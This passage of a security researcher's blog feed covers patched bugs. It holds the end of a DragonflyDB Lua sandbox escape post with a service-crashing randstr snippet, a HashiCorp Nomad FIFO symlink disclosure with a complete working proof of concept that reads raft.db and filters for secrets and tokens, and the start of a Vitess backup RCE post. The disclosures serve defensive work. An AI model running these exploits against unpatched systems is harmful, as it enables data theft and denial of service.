<span class="n">r</span> <span class="o">=</span> <span class="n">redis</span><span class="p">.</span><span class="n">Redis</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'target'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">6379</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s">'xxx'</span><span class="p">,</span> <span class="n">socket_timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>

<span class="k">try</span><span class="p">:</span>
  <span class="n">r</span><span class="p">.</span><span class="nb">eval</span><span class="p">(</span><span class="s">'return dragonfly.randstr(1000000000)'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">except</span> <span class="n">redis</span><span class="p">.</span><span class="n">exceptions</span><span class="p">.</span><span class="nb">TimeoutError</span><span class="p">:</span>
  <span class="k">print</span><span class="p">(</span><span class="s">"Service crashed"</span><span class="p">)</span>
</code></pre></div></div>

<p>That’s CWE-789, a memory allocation sized straight from an unvalidated
argument. It needs <code class="language-plaintext highlighter-rouge">EVAL</code> and nothing else.</p>

<hr />

<h2 id="the-fix">The fix</h2>

<p>The fixes were already going up in the repo before I’d even had a human reply
(more on the timeline below). Three PRs cover it, all landed in v1.39.0:</p>

<ul>
  <li><strong>PR #7370: sandbox hardening.</strong> <code class="language-plaintext highlighter-rouge">rawset</code>, <code class="language-plaintext highlighter-rouge">setmetatable</code>, and <code class="language-plaintext highlighter-rouge">getmetatable</code> are now overridden to block access to <code class="language-plaintext highlighter-rouge">_G</code> and the global library tables, and guard metatables are attached so scripts can’t replace or corrupt them across executions. This is the one that actually closes the escape: take <code class="language-plaintext highlighter-rouge">rawset</code> and <code class="language-plaintext highlighter-rouge">getmetatable</code> off the table and the three line trick has nothing to grab.
    <ul>
      <li>Worth a note: the automated review on that PR flagged that an early version of the guard still let you mutate the returned metatable’s fields directly (<code class="language-plaintext highlighter-rouge">mt.__newindex = nil</code> via a normal table assignment rather than <code class="language-plaintext highlighter-rouge">rawset</code>). Same shape as the original bug, one rung down. That’s why the shipped fix also pins guard metatables onto the global tables instead of only wrapping <code class="language-plaintext highlighter-rouge">rawset</code>. Good catch by whoever was reviewing.</li>
    </ul>
  </li>
  <li><strong>PR #7368: randstr validation.</strong> Argument count, type, and size are now checked (count 1–32768, size 1–16 MiB). The unbounded <code class="language-plaintext highlighter-rouge">std::string</code> allocation is gone.</li>
  <li><strong>PR #7376: load restricted to text only.</strong> <code class="language-plaintext highlighter-rouge">load</code> is wrapped to force mode <code class="language-plaintext highlighter-rouge">"t"</code> and returns nil for any binary input regardless of the mode the caller asks for. That kills the bytecode path specifically: you can still escape into <code class="language-plaintext highlighter-rouge">load</code> in theory, but you can’t feed it crafted compiled bytecode anymore, so the <code class="language-plaintext highlighter-rouge">SETUPVAL</code> trick has no way in.</li>
</ul>

<p>If you want the one line version: v1.39.0 takes away the keys
(<code class="language-plaintext highlighter-rouge">rawset</code>/<code class="language-plaintext highlighter-rouge">getmetatable</code>), bolts the bytecode door (<code class="language-plaintext highlighter-rouge">load</code> text only), and
bounds the allocation (<code class="language-plaintext highlighter-rouge">randstr</code>).</p>

<hr />

<h2 id="disclosure">Disclosure</h2>

<p>I emailed the Dragonfly team on 18 May with the escape, the escalations off it,
and the <code class="language-plaintext highlighter-rouge">randstr</code> DoS, noting I’d verified everything on v1.34.2 through
v1.38.1 and main at <code class="language-plaintext highlighter-rouge">baa09014</code>. I offered to validate a patch once they had
one.</p>

<p>The email side was quiet. Ari Shotland picked it up on 21 May and pulled in
Roman Gershman, their CTO. Roman’s reply, in full, was “Thanks for letting us
know!” :)</p>

<p>Normally that’s the kind of response that makes you wonder if anything’s
happening. It wasn’t. The patches had started going up on the 20th. PR #7368
and PR #7370 were both open a day before the first human reply, and #7376 went
up on the 21st. Quiet on email, fast in the repo. I’ll take that over the
reverse any day.</p>

<p>v1.39.0 shipped on 9 June with all three fixes folded into a big release (the
Lua hardening is a few lines in a changelog that’s mostly full text search
work). On 10 June I asked Roman whether the team planned to request a CVE, and
whether I was clear to write this up. He said go ahead on the blog and offered
to help with the CVE. That part’s still in motion. I’m working out whether to
drive it through a GitHub advisory or straight through MITRE.</p>

<hr />

<h2 id="timeline">Timeline</h2>

<ul>
  <li>18 May 2026: Reported the Lua sandbox escape, the escalations, and the <code class="language-plaintext highlighter-rouge">randstr</code> DoS to the Dragonfly team. Verified on v1.34.2–v1.38.1 and main (<code class="language-plaintext highlighter-rouge">baa09014</code>).</li>
  <li>20 May 2026: Fixes start landing: PR #7368 (randstr validation) and PR #7370 (sandbox hardening) opened.</li>
  <li>21 May 2026: Ari Shotland replied and looped in Roman Gershman (CTO). PR #7376 (load text-only) opened the same day.</li>
  <li>22 May 2026: Roman acknowledged: “Thanks for letting us know!”</li>
  <li>9 June 2026: v1.39.0 released, bundling all three Lua fixes.</li>
  <li>10 June 2026: Confirmed with Roman that I could write this up; CVE still being sorted (GitHub advisory vs MITRE).</li>
</ul>

<hr />

<h2 id="appendix-a-resources">Appendix A: Resources</h2>

<ul>
  <li><a href="https://github.com/dragonflydb/dragonfly/pull/7370">PR #7370: Harden sandbox by protecting rawset, setmetatable, and getmetatable</a></li>
  <li><a href="https://github.com/dragonflydb/dragonfly/pull/7368">PR #7368: Add input size validation to dragonfly.randstr()</a></li>
  <li><a href="https://github.com/dragonflydb/dragonfly/pull/7376">PR #7376: Restrict load() to text only mode</a></li>
  <li><a href="https://github.com/dragonflydb/dragonfly/releases/tag/v1.39.0">Dragonfly v1.39.0 release</a></li>
  <li>Vulnerable file: <code class="language-plaintext highlighter-rouge">src/core/interpreter.cc</code> (sandbox init ~386–407, <code class="language-plaintext highlighter-rouge">dragonfly.randstr</code> ~467–506)</li>
</ul>

<hr />]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[A full Lua sandbox escape in DragonflyDB via getmetatable(_G) metatable override, the escalations it opens up, and an unbounded-allocation DoS in dragonfly.randstr. Affected: all versions before v1.39.0. Patched: v1.39.0.]]></summary></entry><entry><title type="html">HashiCorp Nomad FIFO symlink attack (CVE-2026-6959, CVE-2026-8052)</title><link href="https://neurowinter.com/security/2026/05/18/HashiCorp-Nomad-FIFO-symlink-attack/" rel="alternate" type="text/html" title="HashiCorp Nomad FIFO symlink attack (CVE-2026-6959, CVE-2026-8052)" /><published>2026-05-18T00:00:00+12:00</published><updated>2026-05-18T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/05/18/HashiCorp-Nomad-FIFO-symlink-attack</id><content type="html" xml:base="https://neurowinter.com/security/2026/05/18/HashiCorp-Nomad-FIFO-symlink-attack/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>HashiCorp Nomad and Nomad Enterprise from <strong>0.9 through 2.0.0</strong> are vulnerable to arbitrary file read and write on the client host as the Nomad process user. CVE-2026-6959, CWE-59, CNA score 6.0 (<code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N</code>).</li>
  <li>The exec2 task driver prior to 0.1.2 has the same class of bug. CVE-2026-8052, CWE-59, CNA score 6.0.</li>
  <li>A task container can replace the FIFO used for stdout/stderr log streaming with a symlink to any file on the host. When the task restarts, logmon reopens the FIFO path, follows the symlink, and reads or writes the target as the Nomad process user.</li>
  <li>The root cause is in logmon, so any driver that bind-mounts <code class="language-plaintext highlighter-rouge">/alloc/logs</code> writable into the task is affected. Podman is just where I found it.</li>
  <li>The affected range starts at Nomad 0.9 — this surface had been present for years.</li>
  <li><strong>Upgrade Nomad to 2.0.1, 1.11.5, or 1.10.11. If you’re using exec2, upgrade to 0.1.2.</strong> The fix is a breaking change: <code class="language-plaintext highlighter-rouge">/alloc/logs</code> is now bind-mounted read-only for drivers with filesystem isolation.</li>
</ul>

<hr />

<h2 id="the-surface">The surface</h2>

<p>After the <a href="/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields/">Vitess work</a>, I kept pulling on infrastructure stuff and ended up spending time reading through Nomad’s task driver code. I had a version of ttyd running so I could poke around from inside a deployed container. The podman driver was the most interesting thing I could see from that point, it bridges container and host, and the log streaming path has to open files on the host side based on paths the container can influence.</p>

<p>Nomad uses named pipes (FIFOs) for task log handling. The container and the Nomad agent share <code class="language-plaintext highlighter-rouge">/alloc/logs</code>. The agent opens those FIFOs to collect stdout/stderr from the running task. Two lines in the podman driver code matter here:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">driver.go#L1564</code> calls <code class="language-plaintext highlighter-rouge">runLogStreaming</code> on every task restart.</li>
  <li><code class="language-plaintext highlighter-rouge">handle.go#L151</code> is where the FIFO actually gets opened, without <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code>.</li>
</ul>

<h2 id="the-bug">The bug</h2>

<ol>
  <li>Task is running. FIFO exists at <code class="language-plaintext highlighter-rouge">/alloc/logs/.sidecar.stdout.fifo</code>.</li>
  <li>Container <code class="language-plaintext highlighter-rouge">unlink</code>s the FIFO and replaces it with a symlink pointing at a host file.</li>
  <li>Task restarts, naturally or because it crashes.</li>
  <li>logmon reopens the FIFO path on the host side, follows the symlink, and is now reading from or writing to whatever the symlink points at. As the Nomad process user.</li>
</ol>

<p>The PoC reads <code class="language-plaintext highlighter-rouge">/nomad/data/server/raft/raft.db</code> to show what this gets you on a real node. A <code class="language-plaintext highlighter-rouge">raw_exec</code> sidecar task sleeps 10 seconds and exits 1, triggering a restart on the configured delay. The attacker task (podman container) waits for the FIFO to appear, unlinks it, drops a symlink to <code class="language-plaintext highlighter-rouge">raft.db</code> in its place, then waits. When logmon reopens the path, it streams <code class="language-plaintext highlighter-rouge">raft.db</code> into the log file. The container reads it back from <code class="language-plaintext highlighter-rouge">/alloc/logs/sidecar.stdout</code>.</p>

<p>The <code class="language-plaintext highlighter-rouge">raw_exec</code> part is just for the PoC to have a deterministic restart cycle. You don’t need a privileged driver in practice — most real allocations include sidecars that restart naturally. Log collectors, anything with a restart policy, is a trigger.</p>

<p>(HashiCorp scored this <code class="language-plaintext highlighter-rouge">C:N/I:H/A:N</code>, so they treated it as a write primitive only. The PoC does read <code class="language-plaintext highlighter-rouge">raft.db</code>, but only by getting the host to write it into the alloc log file, which is a stretch of the read primitive. Fair enough.)</p>

<p>(Full PoC files in Appendix A.)</p>

<h2 id="disclosure">Disclosure</h2>

<p>I sent the report to security@hashicorp.com on April 11 with a docker-compose reproducer attached. This is where it got entertaining…. The email filter stripped the <code class="language-plaintext highlighter-rouge">.zip</code>. Then stripped the renamed <code class="language-plaintext highlighter-rouge">.txt</code> version. Then stripped a second <code class="language-plaintext highlighter-rouge">.txt</code> attempt. In the end I pasted all five files inline in the email body, with a “Lets hope this gets though :)” which I stand by.</p>

<p>James Warren at HashiCorp picked it up on April 14. Reproduction confirmed April 16. They were working to reproduce it with constrained tasks instead of <code class="language-plaintext highlighter-rouge">raw_exec</code>, which confirmed they understood the driver was just a convenient stand-in for “anything that restarts.”</p>

<p>Then on May 8, James told me the same issue affects the exec2 task driver, which is released as a separate binary. That got CVE-2026-8052. The bulletin credits “the Nomad engineering team in conjunction with NeuroWinter” — they found that one. I hadn’t looked at exec2 specifically. Two CVEs from one investigation, the second one turned up by HashiCorp themselves.</p>

<p>Both bulletins went public May 13.</p>

<h2 id="the-fix">The fix</h2>

<p>I’d suggested <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> on the FIFO open in logmon. What shipped goes wider, in two layers (<a href="https://github.com/hashicorp/nomad/commit/2a09fd62c23880ff306499ae03fe64628d82a23f">commit 2a09fd6</a>):</p>

<ol>
  <li>The FIFO creation path now uses Go’s <code class="language-plaintext highlighter-rouge">os.Root</code> to confine filesystem operations to the logs directory, with a new <code class="language-plaintext highlighter-rouge">mkfifoat</code> syscall wrapper on Linux and BSD. That stops the symlink-following at the syscall layer. macOS is excluded because the syscall isn’t available there. Windows doesn’t need it because named pipes live in the kernel namespace, not the filesystem.</li>
  <li>The allocation logs directory is now bind-mounted <strong>read-only</strong> for task drivers with filesystem isolation. That stops the container from <code class="language-plaintext highlighter-rouge">unlink</code>ing the FIFO in the first place. This is the breaking change called out in the release notes.</li>
</ol>

<p>While they were in there, the team also patched another variant: a task could replace <code class="language-plaintext highlighter-rouge">/alloc/logs/</code> itself with a symlink, letting logmon create files in arbitrary host directories. I hadn’t found that one — it came out of HashiCorp’s audit after my report. Same root cause, different lever.</p>

<p>I’ve had a lot worse CVD experiences :)</p>

<hr />

<h2 id="timeline">Timeline</h2>

<ul>
  <li><strong>11 April 2026:</strong> Reported to security@hashicorp.com with PoC</li>
  <li><strong>14 April 2026:</strong> HashiCorp picks up the report (after a round of email-filter wrangling)</li>
  <li><strong>16 April 2026:</strong> Reproduction confirmed; fix targeted for Nomad 2.0.1</li>
  <li><strong>17 April 2026:</strong> CVE-2026-6959 to be issued; fix scope expanded to logmon</li>
  <li><strong>8 May 2026:</strong> HashiCorp finds same bug in exec2 driver; CVE-2026-8052 reserved</li>
  <li><strong>13 May 2026:</strong> Both bulletins and CVEs published; Nomad 2.0.1, 1.11.5, 1.10.11, exec2 0.1.2 released</li>
</ul>

<hr />

<h2 id="appendix-a--poc-files">Appendix A — PoC Files</h2>

<p><strong>docker-compose.yml</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">services</span><span class="pi">:</span>
  <span class="na">consul</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">hashicorp/consul:latest</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">8500:8500"</span>
    <span class="na">command</span><span class="pi">:</span> <span class="s2">"</span><span class="s">agent</span><span class="nv"> </span><span class="s">-dev</span><span class="nv"> </span><span class="s">-bind=0.0.0.0</span><span class="nv"> </span><span class="s">-client=0.0.0.0"</span>
  <span class="na">nomad</span><span class="pi">:</span>
    <span class="na">build</span><span class="pi">:</span>
      <span class="na">context</span><span class="pi">:</span> <span class="s">.</span>
      <span class="na">dockerfile</span><span class="pi">:</span> <span class="s">Dockerfile.nomad</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">4646:4646"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">4647:4647"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">4648:4648"</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">./nomad-config:/etc/nomad.d</span>
      <span class="pi">-</span> <span class="s">nomad-data:/nomad/data</span>
      <span class="pi">-</span> <span class="s">/sys/fs/cgroup:/sys/fs/cgroup:rw</span>
    <span class="na">privileged</span><span class="pi">:</span> <span class="no">true</span>
    <span class="na">cgroup</span><span class="pi">:</span> <span class="s">host</span>
    <span class="na">devices</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">/dev/fuse:/dev/fuse</span>
    <span class="na">security_opt</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">seccomp=unconfined</span>
      <span class="pi">-</span> <span class="s">apparmor=unconfined</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">NOMAD_ADDR=http://0.0.0.0:4646</span>
    <span class="na">depends_on</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">consul</span>
<span class="na">volumes</span><span class="pi">:</span>
  <span class="na">nomad-data</span><span class="pi">:</span>
</code></pre></div></div>

<p><strong>Dockerfile.nomad</strong></p>

<div class="language-dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> ubuntu:24.04</span>
<span class="k">ARG</span><span class="s"> NOMAD_VERSION=1.9.7</span>
<span class="k">ARG</span><span class="s"> PODMAN_DRIVER_VERSION=0.6.3</span>
<span class="k">RUN </span>apt-get update <span class="o">&amp;&amp;</span> apt-get <span class="nb">install</span> <span class="nt">-y</span> <span class="se">\
</span>    curl <span class="se">\
</span>    unzip <span class="se">\
</span>    podman <span class="se">\
</span>    uidmap <span class="se">\
</span>    fuse-overlayfs <span class="se">\
</span>    slirp4netns <span class="se">\
</span>    ca-certificates <span class="se">\
</span>    iproute2 <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">rm</span> <span class="nt">-rf</span> /var/lib/apt/lists/<span class="k">*</span>
<span class="k">RUN </span>curl <span class="nt">-fsSL</span> https://releases.hashicorp.com/nomad/<span class="k">${</span><span class="nv">NOMAD_VERSION</span><span class="k">}</span>/nomad_<span class="k">${</span><span class="nv">NOMAD_VERSION</span><span class="k">}</span>_linux_amd64.zip <span class="se">\
</span>    <span class="nt">-o</span> /tmp/nomad.zip <span class="se">\
</span>    <span class="o">&amp;&amp;</span> unzip /tmp/nomad.zip <span class="nt">-d</span> /usr/local/bin/ <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">rm</span> /tmp/nomad.zip
<span class="k">RUN </span><span class="nb">mkdir</span> <span class="nt">-p</span> /opt/nomad/plugins <span class="se">\
</span>    <span class="o">&amp;&amp;</span> curl <span class="nt">-fsSL</span> https://releases.hashicorp.com/nomad-driver-podman/<span class="k">${</span><span class="nv">PODMAN_DRIVER_VERSION</span><span class="k">}</span>/nomad-driver-podman_<span class="k">${</span><span class="nv">PODMAN_DRIVER_VERSION</span><span class="k">}</span>_linux_amd64.zip <span class="se">\
</span>    <span class="nt">-o</span> /tmp/podman-driver.zip <span class="se">\
</span>    <span class="o">&amp;&amp;</span> unzip /tmp/podman-driver.zip <span class="nt">-d</span> /opt/nomad/plugins/ <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">chmod</span> +x /opt/nomad/plugins/nomad-driver-podman <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">rm</span> /tmp/podman-driver.zip
<span class="k">RUN </span>useradd <span class="nt">-m</span> <span class="nt">-u</span> 1001 nomad <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"nomad:100000:65536"</span> <span class="o">&gt;&gt;</span> /etc/subuid <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"nomad:100000:65536"</span> <span class="o">&gt;&gt;</span> /etc/subgid
<span class="k">RUN </span><span class="nb">mkdir</span> <span class="nt">-p</span> /nomad/data /etc/nomad.d <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">chown</span> <span class="nt">-R</span> nomad:nomad /nomad
<span class="k">EXPOSE</span><span class="s"> 4646 4647 4648</span>
<span class="k">COPY</span><span class="s"> entrypoint.sh /entrypoint.sh</span>
<span class="k">RUN </span><span class="nb">chmod</span> +x /entrypoint.sh
<span class="k">CMD</span><span class="s"> ["/entrypoint.sh"]</span>
</code></pre></div></div>

<p><strong>entrypoint.sh</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> /run/user/1001/podman
<span class="nb">chown</span> <span class="nt">-R</span> nomad:nomad /run/user/1001
<span class="nb">mkdir</span> <span class="nt">-p</span> /home/nomad/.config/containers
<span class="nb">cat</span> <span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh"> &gt; /home/nomad/.config/containers/containers.conf
[containers]
log_driver = "k8s-file"
[engine]
cgroup_manager = "cgroupfs"
</span><span class="no">EOF
</span><span class="nb">mkdir</span> <span class="nt">-p</span> /nomad/data
<span class="nb">chown</span> <span class="nt">-R</span> nomad:nomad /nomad/data /home/nomad
su - nomad <span class="nt">-c</span> <span class="s2">"podman system service --time=0 unix:///run/user/1001/podman/podman.sock &amp;"</span>
<span class="nb">sleep </span>2
<span class="nb">exec </span>su <span class="nt">-s</span> /bin/bash nomad <span class="nt">-c</span> <span class="s2">"nomad agent -config=/etc/nomad.d"</span>
</code></pre></div></div>

<p><strong>poc.nomad</strong></p>

<div class="language-hcl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">job</span> <span class="s2">"poc"</span> <span class="p">{</span>
  <span class="nx">datacenters</span> <span class="p">=</span> <span class="p">[</span><span class="s2">"dc1"</span><span class="p">]</span>
  <span class="nx">type</span>        <span class="p">=</span> <span class="s2">"service"</span>
  <span class="nx">group</span> <span class="s2">"app"</span> <span class="p">{</span>
    <span class="nx">restart</span> <span class="p">{</span>
      <span class="nx">attempts</span> <span class="p">=</span> <span class="mi">10</span>
      <span class="nx">interval</span> <span class="p">=</span> <span class="s2">"10m"</span>
      <span class="nx">delay</span>    <span class="p">=</span> <span class="s2">"5s"</span>
      <span class="nx">mode</span>     <span class="p">=</span> <span class="s2">"delay"</span>
    <span class="p">}</span>
    <span class="nx">task</span> <span class="s2">"sidecar"</span> <span class="p">{</span>
      <span class="nx">driver</span> <span class="p">=</span> <span class="s2">"raw_exec"</span>
      <span class="nx">config</span> <span class="p">{</span>
        <span class="nx">command</span> <span class="p">=</span> <span class="s2">"/bin/sh"</span>
        <span class="nx">args</span>    <span class="p">=</span> <span class="p">[</span><span class="s2">"-c"</span><span class="p">,</span> <span class="s2">"sleep 10; exit 1"</span><span class="p">]</span>
      <span class="p">}</span>
      <span class="nx">resources</span> <span class="p">{</span>
        <span class="nx">cpu</span>    <span class="p">=</span> <span class="mi">100</span>
        <span class="nx">memory</span> <span class="p">=</span> <span class="mi">64</span>
      <span class="p">}</span>
    <span class="p">}</span>
    <span class="nx">task</span> <span class="s2">"attacker"</span> <span class="p">{</span>
      <span class="nx">driver</span> <span class="p">=</span> <span class="s2">"podman"</span>
      <span class="nx">config</span> <span class="p">{</span>
        <span class="nx">image</span>   <span class="p">=</span> <span class="s2">"python:3.13-slim"</span>
        <span class="nx">command</span> <span class="p">=</span> <span class="s2">"python3"</span>
        <span class="nx">args</span>    <span class="p">=</span> <span class="p">[</span><span class="s2">"/local/poc.py"</span><span class="p">]</span>
      <span class="p">}</span>
      <span class="nx">template</span> <span class="p">{</span>
        <span class="nx">data</span>        <span class="p">=</span> <span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
import os
import time
import sys
import re
ALLOC_LOGS = "/alloc/logs"
TARGET = "/nomad/data/server/raft/raft.db"
fifo = os.path.join(ALLOC_LOGS, ".sidecar.stdout.fifo")
print(f"waiting for {fifo}", flush=True)
for i in range(30):
    if os.path.exists(fifo):
        print("found fifo", flush=True)
        break
    time.sleep(1)
try:
    os.unlink(fifo)
    os.symlink(TARGET, fifo)
    print("symlink planted", file=sys.stderr, flush=True)
except Exception as e:
    print(f"error: {e}", file=sys.stderr, flush=True)
# Wait for sidecar to restart and logmon to write raft.db into the log file
time.sleep(30)
# Read back the exfiltrated data
print("=== EXFILTRATED DATA ===", flush=True)
for logfile in sorted(os.listdir(ALLOC_LOGS)):
    if logfile.startswith("sidecar.stdout"):
        path = os.path.join(ALLOC_LOGS, logfile)
        print(f"\n--- {path} ---", flush=True)
        with open(path, "rb") as f:
            data = f.read()
        # Extract printable strings of length 8+
        strings = re.findall(rb'[\x20-\x7e]{8,}', data)
        for s in strings:
            decoded = s.decode("utf-8", errors="ignore")
            # Filter for interesting patterns
            if any(x in decoded for x in [
                "-", "nomad", "alloc", "secret", "token",
                "node", "eval", "job", "SecretID", "AuthToken",
                "dc1", "global", "192.168"
            ]):
                print(decoded, flush=True)
print("=== END EXFIL ===", flush=True)
time.sleep(30)
</span><span class="no">EOF
</span>        <span class="nx">destination</span> <span class="p">=</span> <span class="s2">"local/poc.py"</span>
      <span class="p">}</span>
      <span class="nx">resources</span> <span class="p">{</span>
        <span class="nx">cpu</span>    <span class="p">=</span> <span class="mi">100</span>
        <span class="nx">memory</span> <span class="p">=</span> <span class="mi">128</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>nomad-config/nomad.hcl</strong></p>

<div class="language-hcl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">data_dir</span>  <span class="err">=</span> <span class="s2">"/nomad/data"</span>
<span class="nx">bind_addr</span> <span class="err">=</span> <span class="s2">"0.0.0.0"</span>
<span class="nx">plugin_dir</span> <span class="err">=</span> <span class="s2">"/opt/nomad/plugins"</span>
<span class="nx">log_level</span> <span class="err">=</span> <span class="s2">"DEBUG"</span>
<span class="nx">server</span> <span class="p">{</span>
  <span class="nx">enabled</span>          <span class="p">=</span> <span class="kc">true</span>
  <span class="nx">bootstrap_expect</span> <span class="p">=</span> <span class="mi">1</span>
<span class="p">}</span>
<span class="nx">client</span> <span class="p">{</span>
  <span class="nx">enabled</span> <span class="p">=</span> <span class="kc">true</span>
<span class="p">}</span>
<span class="nx">consul</span> <span class="p">{</span>
  <span class="nx">address</span> <span class="p">=</span> <span class="s2">"consul:8500"</span>
<span class="p">}</span>
<span class="nx">plugin</span> <span class="s2">"nomad-driver-podman"</span> <span class="p">{</span>
  <span class="nx">config</span> <span class="p">{</span>
    <span class="nx">socket_path</span>    <span class="p">=</span> <span class="s2">"unix:///run/user/1001/podman/podman.sock"</span>
    <span class="nx">recover_stopped</span> <span class="p">=</span> <span class="kc">true</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="nx">plugin</span> <span class="s2">"raw_exec"</span> <span class="p">{</span>
  <span class="nx">config</span> <span class="p">{</span>
    <span class="nx">enabled</span> <span class="p">=</span> <span class="kc">true</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h2 id="relevant-resources">Relevant Resources</h2>

<ul>
  <li><a href="https://discuss.hashicorp.com/t/hcsec-2026-13-nomads-exec2-task-driver-vulnerable-to-arbitrary-file-read-write-on-client-host-through-symlink-attack/77415">HCSEC-2026-13: Nomad exec2 task driver vulnerable to arbitrary file read/write via symlink attack</a></li>
  <li><a href="https://discuss.hashicorp.com/t/hcsec-2026-14-nomad-arbitrary-file-read-write-on-client-host-through-symlink-attack/77416">HCSEC-2026-14: Nomad arbitrary file read/write on client host via symlink attack</a></li>
  <li><a href="https://github.com/hashicorp/nomad/releases/tag/v2.0.1">Nomad 2.0.1 release notes</a></li>
  <li><a href="https://github.com/hashicorp/nomad/commit/2a09fd62c23880ff306499ae03fe64628d82a23f">Fix commit 2a09fd6</a></li>
</ul>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[CVE-2026-6959 and CVE-2026-8052 A task container can replace the FIFO used for log streaming with a symlink to any host file. When the task restarts, logmon follows the symlink and reads or writes the target as the Nomad process user.]]></summary></entry><entry><title type="html">RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields</title><link href="https://neurowinter.com/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields/" rel="alternate" type="text/html" title="RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields" /><published>2026-05-18T00:00:00+12:00</published><updated>2026-05-18T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields</id><content type="html" xml:base="https://neurowinter.com/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>Two CVEs in Vitess. Both come from the backup <code class="language-plaintext highlighter-rouge">MANIFEST</code> file being trusted at
restore time.</li>
  <li><strong>CVE-2026-27965</strong> (<a href="https://github.com/vitessio/vitess/security/advisories/GHSA-8g8j-r87h-p36x">GHSA-8g8j-r87h-p36x</a>)</li>
  <li>CVSS 8.4, CWE-78. The <code class="language-plaintext highlighter-rouge">ExternalDecompressor</code> field is run through
<code class="language-plaintext highlighter-rouge">/bin/sh -c</code>. RCE as the <code class="language-plaintext highlighter-rouge">vitess</code> user.</li>
  <li><strong>CVE-2026-27969</strong> (<a href="https://github.com/vitessio/vitess/security/advisories/GHSA-r492-hjgh-c9gw">GHSA-r492-hjgh-c9gw</a>)</li>
  <li>CVSS 9.3, CWE-22. <code class="language-plaintext highlighter-rouge">FileEntries[].Name</code> path traversal. Write to any path
the <code class="language-plaintext highlighter-rouge">vitess</code> user can write.</li>
  <li><strong>Affected:</strong> v22.0.3 and older, v23.0.0–v23.0.2.</li>
  <li><strong>Patched:</strong> v22.0.4, v23.0.3.</li>
  <li>Quick workaround for the RCE only: set <code class="language-plaintext highlighter-rouge">--external-decompressor=cat</code> (or any
other harmless command) on <code class="language-plaintext highlighter-rouge">vttablet</code>/<code class="language-plaintext highlighter-rouge">vtbackup</code>. The flag overrides the
manifest. No equivalent for the path traversal — upgrade.</li>
</ul>

<hr />

<h2 id="background">Background</h2>

<p>I started looking into how vitess was doing backups as I was recenlty looking
into the differences between WAL and xlogs etc in postgres and mysql. I was
interseted in the boundry that backsups cross, from production data, config
files, and then cold storage, and finally how these backups are used in DR.</p>

<p>A Vitess backup is a directory containing a JSON <code class="language-plaintext highlighter-rouge">MANIFEST</code> and the data files
it references. Restore reads the manifest, copies the data files out, and
optionally decompresses them.</p>

<p>A normal one looks like this:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"BackupMethod"</span><span class="p">:</span><span class="w"> </span><span class="s2">"builtin"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"CompressionEngine"</span><span class="p">:</span><span class="w"> </span><span class="s2">"external"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ExternalDecompressor"</span><span class="p">:</span><span class="w"> </span><span class="s2">"zstd -d"</span><span class="p">,</span><span class="w">
